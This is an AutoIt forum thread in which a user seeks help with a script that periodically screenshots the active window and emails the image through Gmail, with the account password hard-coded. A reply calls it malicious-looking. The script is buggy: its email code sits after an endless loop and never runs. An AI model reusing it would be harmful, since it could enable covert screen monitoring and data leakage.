tim08 Posted November 7, 2008 Share Posted November 7, 2008 (edited) Hi, I am trying to send screen shots to my gmail or ftp but the email portion doesn't work. The picture is taken and placed in my temp folder, but nothing happens after that. There are no error messages either. Can anyone see any errors in the script? Gmail account on there was made just for this, so feel free to check, please don't change the pw. Thanks for the help #Include<file.au3> #Include<ScreenCapture.au3> HotKeySet("#{ESC}","Quit") ;################################## ; Variables ;################################## Global $quality = 50 Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "Test" ; name from who the email was sent $s_FromAddress = "gTester227@gmail.com"; address from where the mail should come $s_ToAddress = "gTester227@gmail.com" ; destination address of the email - REQUIRED $s_Subject = "Test" ; subject from the email - can be anything you want it to be $as_Body = "This is a test email" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "C:\Windows\Temp\temp.jpg" ; the file you want to attach- leave blank if not needed $s_CcAddress = "" ; address for cc - leave blank if not needed $s_BccAddress = "" ; address for bcc - leave blank if not needed $s_Username = "gTester227" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "gTester22" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) ;$IPPort = 25 ; port used for sending the mail ;$ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS $IPPort=465 ; GMAIL port used for sending the mail $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS ;############################################################## ; Screen Capture Script ;############################################################## While 1 Sleep(600000) $filename = "C:\Windows\Temp\temp.jpg" _ScreenCapture_SetJPGQuality($quality) $activewin = WinGetTitle("") $activewin = WinGetHandle($activewin) _ScreenCapture_CaptureWnd($filename,$activewin) WEnd ;################################## ; Email Script ;################################## Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf ; Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc;==>MyErrFunc Func Quit() Exit EndFunc ;==>Quit Edited November 7, 2008 by tim08 Link to comment Share on other sites More sharing options...
SoulA Posted November 7, 2008 Share Posted November 7, 2008 (edited) looks malicious edit: and use code tags? Edited November 7, 2008 by SoulA Link to comment Share on other sites More sharing options...
tim08 Posted November 7, 2008 Author Share Posted November 7, 2008 looks maliciousedit:and use code tags?nope its for my own pc... code tags are from other scripts on this forum I just pieced them together. Link to comment Share on other sites More sharing options...
spudw2k Posted November 7, 2008 Share Posted November 7, 2008 (edited) He's new, cut him a break. What SoulA means is when posting code on the forum it is best practice to "wrap it" with the code tags. Use [ code] and [ /code] (minus the spaces). Try hitting the edit button on your post and putting the tags in. Func _GetHelp($question=0) If Not $question Then Return 0 Return $answer EndFunc Edited November 7, 2008 by spudw2k Spoiler Things I've Made: Always On Top Tool ◊ AU History ◊ Deck of Cards ◊ HideIt ◊ ICU ◊ Icon Freezer ◊ Ipod Ejector ◊ Junos Configuration Explorer ◊ Link Downloader ◊ MD5 Folder Enumerator ◊ PassGen ◊ Ping Tool ◊ Quick NIC ◊ Read OCR ◊ RemoteIT ◊ SchTasksGui ◊ SpyCam ◊ System Scan Report Tool ◊ System UpTime ◊ Transparency Machine ◊ VMWare ESX BuilderMisc Code Snippets: ADODB Example ◊ CheckHover ◊ Detect SafeMode ◊ DynEnumArray ◊ GetNetStatData ◊ HashArray ◊ IsBetweenDates ◊ Local Admins ◊ Make Choice ◊ Recursive File List ◊ Remove Sizebox Style ◊ Retrieve PNPDeviceID ◊ Retreive SysListView32 Contents ◊ Set IE Homepage ◊ Tickle Expired Password ◊ Transpose ArrayProjects: Drive Space Usage GUI ◊ LEDkIT ◊ Plasma_kIt ◊ Scan Engine Builder ◊ SpeeDBurner ◊ SubnetCalcCool Stuff: AutoItObject UDF ◊ Extract Icon From Proc ◊ GuiCtrlFontRotate ◊ Hex Edit Funcs ◊ Run binary ◊ Service_UDF  Link to comment Share on other sites More sharing options...
tim08 Posted November 7, 2008 Author Share Posted November 7, 2008 (edited) He's new, cut him a break. What SoulA means is when posting code on the forum it is best practice to "wrap it" with the code tags. Use [ code] and [ /code] (minus the spaces). Try hitting the edit button on your post and putting the tags in. Func _GetHelp($question=0) If Not $question Then Return 0 Return $answer EndFunc Thanks Spudw2k, and thanks for the clarification. I will edit my first post (too late). Here we go: expandcollapse popup#Include<file.au3> #Include<ScreenCapture.au3> HotKeySet("#{ESC}","Quit") ;################################## ; Variables ;################################## Global $quality = 50 Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $s_SmtpServer = "smtp.gmail.com"; address for the smtp-server to use - REQUIRED $s_FromName = "Test"; name from who the email was sent $s_FromAddress = "gTester227@gmail.com"; address from where the mail should come $s_ToAddress = "gTester227@gmail.com"; destination address of the email - REQUIRED $s_Subject = "Test"; subject from the email - can be anything you want it to be $as_Body = "This is a test email"; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "C:\Windows\Temp\temp.jpg"; the file you want to attach- leave blank if not needed $s_CcAddress = ""; address for cc - leave blank if not needed $s_BccAddress = ""; address for bcc - leave blank if not needed $s_Username = "gTester227"; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "gTester22"; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) ;$IPPort = 25; port used for sending the mail ;$ssl = 0; enables/disables secure socket layer sending - put to 1 if using httpS $IPPort=465; GMAIL port used for sending the mail $ssl=1; GMAILenables/disables secure socket layer sending - put to 1 if using httpS ;############################################################## ; Screen Capture Script ;############################################################## While 1 Sleep(600000) $filename = "C:\Windows\Temp\temp.jpg" _ScreenCapture_SetJPGQuality($quality) $activewin = WinGetTitle("") $activewin = WinGetHandle($activewin) _ScreenCapture_CaptureWnd($filename,$activewin) WEnd ;################################## ; Email Script ;################################## Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf ; Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc;==>MyErrFunc Func Quit() Exit EndFunc;==>Quit Edited November 7, 2008 by tim08 Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now